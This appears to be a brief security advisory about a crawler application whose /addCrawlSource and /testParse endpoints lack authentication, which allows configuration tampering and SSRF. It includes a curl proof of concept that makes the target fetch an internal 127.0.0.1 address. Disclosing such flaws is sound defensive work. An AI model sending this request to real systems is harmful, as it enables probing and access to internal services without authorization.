Article 5: Vulnerability 4 – Unauthorized Crawler Source Control & SSRF (CVE-3)

Title: Unauthenticated Crawl Interfaces Lead to Configuration Tampering and SSRF

Details:

• POST /addCrawlSource: Adds a new crawl source without access control.

• POST /testParse: Accepts arbitrary URLs and regex rules for remote parsing. Leads to SSRF and potential regex data leakage.

Example SSRF PoC:

curl -X POST "http://target-ip:port/testParse"
-d "rule=(<title>(.*?)</title>)&url=http://127.0.0.1:8080/internal&isRefresh=1"

CWE: CWE-306, CWE-918
